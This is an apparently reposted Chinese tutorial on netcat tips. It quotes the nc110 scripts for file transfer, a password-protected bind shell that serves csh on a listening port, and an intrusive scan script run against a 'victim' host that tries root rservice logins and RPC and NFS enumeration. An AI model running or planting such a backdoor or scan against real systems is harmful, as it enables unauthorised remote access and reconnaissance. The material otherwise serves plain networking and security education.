首页 电脑 电脑学堂 查看内容

nc使用技巧

2009-6-17 10:29 1090 0

摘要:   Nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。  (文中所举的script都来自于nc110.tgz的文件包)  一、基本使用  Qua...
关键词: nbsp echo UCMD 39 端口 文件 exit hostname 参数 脚本

  Nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。  (文中所举的script都来自于nc110.tgz的文件包)  一、基本使用  Quack# nc -h  [v1.10]  想要连接到某处:  nc [-options] hostname port[s] [ports] ...  绑定端口等待连接:    nc -l -p port [-options] [hostname] [port]  参数:  -e prog            程序重定向,一旦连接,就执行 [危险!!]  -g gateway          source-routing hop point[s], up to 8  -G num            source-routing pointer: 4, 8, 12, ...  -h               帮助信息  -i secs            延时的间隔  -l               监听模式,用于入站连接  -n               指定数字的IP地址,不能用hostname  -o file            记录16进制的传输  -p port            本地端口号  -r               任意指定本地及远程端口  -s addr            本地源地址  -u               UDP模式  -v               详细输出——用两个-v可得到更详细的内容  -w secs            timeout的时间  -z               将输入输出关掉——用于扫描时  其中端口号可以指定一个或者用lo-hi式的指定范围。  二、用于传输文件——ncp  #! /bin/sh  ## 类似于rcp,但是是用netcat在高端口做的  ## 在接收文件的机器上做"ncp targetfile"  ## 在发送文件的机器上做"ncp sourcefile receivinghost"  ## 如果调用了 "nzp" ,会将传输文件压缩  ## 这里定义你想使用的端口,可以自由选择  MYPORT=23456  ## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改  # PATH=${HOME}:${PATH} ; export PATH  ## 下面这几行检查参数输入情况  test "$3" && echo "too many args" && exit 1  test ! "$1" && echo "no args?" && exit 1  me=`echo $0 | sed &#39;s+.*/++&#39;`  test "$me" = "nzp" && echo &#39;[compressed mode]&#39;  # if second arg, it&#39;s a host to send an [extant] file to.  if test "$2" ; then  test ! -f "$1" && echo "can&#39;t find $1" && exit 1  if test "$me" = "nzp" ; then  compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0  else  nc -v -w 2 $2 $MYPORT < "$1" && exit 0  fi  echo "transfer FAILED!"  exit 1  fi  # 是否在接收文件机器当前目录有同名文件  if test -f "$1" ; then  echo -n "Overwrite $1? "  read aa  test ! "$aa" = "y" && echo "[punted!]" && exit 1  fi  # 30 seconds oughta be pleeeeenty of time, but change if you want.  if test "$me" = "nzp" ; then  # 注意这里nc的用法,结合了重定向符号和管道  nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c  > "$1" && exit 0  else  nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0  fi  echo "transfer FAILED!"  # clean up, since even if the transfer failed, $1 is already trashed  rm -f "$1"  exit 1  这样的话,我只要在A机器上先 QuackA# ncp ../abcd  listening on [any] 23456 ...  然后在另一台机器B上  QuackB#ncp abcd 192.168.0.2  quackb [192.168.0.1] 23456 (?)  A机上出现  open connect to [192.168.0.2] from quackb [192.168.0.1] 1027  #  查看一下,文件传输完毕。  三、用于绑定端口——bsh  首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工  具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。  #! /bin/sh  ## 一个利用nc的绑定shell并且带有密码保护的脚本  ## 带有一个参数,即端口号  NC=nc  case "$1" in  ?* )  LPN="$1"  export LPN  sleep 1  #注意这里nc的用法,参数-l是lister,-e是执行重定向  echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &  echo "launched on port $LPN"  exit 0  ;;  esac  # here we play inetd  echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &  while read qq ; do  case "$qq" in  # 这里就是弱密码保护了,密码是quack  quack )  cd /  exec csh -i  ;;  esac  done  要看看它是怎么使用的么?  quack# ./bsh 6666  <-------输入,后面是程序输出  -l -p 6666 -e ./bsh  launched on port 6666  quack#  quack## nc localhost 6666  <----------输入  -l -p 6666 -e ./bsh  quack   <----------输入,密码验证  Warning: imported path contains relative components  Warning: no access to tty (Bad file descriptor).  Thus no job control in this shell.  Cracker#  四、 用于端口扫描——probe  在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都  需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。  #! /bin/sh  ## launch a whole buncha shit at yon victim in no particular order; capture  ## stderr+stdout in one place.  Run as root for rservice and low -p to work.  ## Fairly thorough example of using netcat to collect a lot of host info.  ## Will set off every intrusion alarm in existence on a paranoid machine!  # 该目录里有一些小工具  DDIR=../data  # 指定网关  GATE=192.157.69.11  # might conceivably wanna change this for different run styles  UCMD=&#39;nc -v -w 8&#39;  test ! "$1" && echo Needs victim arg && exit 1  echo &#39;&#39; | $UCMD -w 9 -r "$1" 13 79 6667 2>&1  echo &#39;0&#39; | $UCMD "$1" 79 2>&1  # if LSRR was passed thru, should get refusal here:  # 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情  $UCMD -z -r -g $GATE "$1" 6473 2>&1  $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1  # -s `hostname` may be wrong for some multihomed machines  echo &#39;UDP echoecho!&#39; | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1  echo &#39;113,10158&#39; | $UCMD -p 10158 "$1" 113 2>&1  rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1  echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1  # newline after any telnet trash  echo &#39;&#39;  echo PASV | $UCMD -r "$1" 21 2>&1  echo &#39;GET /&#39; | $UCMD -w 10 "$1" 80 81 210 70 2>&1  # sometimes contains useful directory info:  # 知道robots.txt是什么文件么?  echo &#39;GET /robots.txt&#39; | $UCMD -w 10 "$1" 80 2>&1  # now the big red lights go on  # 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到  rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1  rservice root root | $UCMD -r "$1" exec 2>&1  echo &#39;BEGIN big udp -- everything may look "open" if packet-filtered&#39;  data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1  # no wait-time, uses RTT hack  nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1  nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1  echo &#39;END big udp&#39;  $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1  # Use our identd-sniffer!  iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1  # this gets pretty intrusive, but what the fuck.  Probe for portmap first  if nc -w 5 -z -u "$1" 111 ; then  showmount -e "$1" 2>&1  #象showmount和rpcinfo的使用,可能会被逮到  rpcinfo -p "$1" 2>&1  fi  exit 0  感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,  这样扫描会留下大量的痕迹,系统管理员会额外小心  多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那  些脚本,从中获得一些思路。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部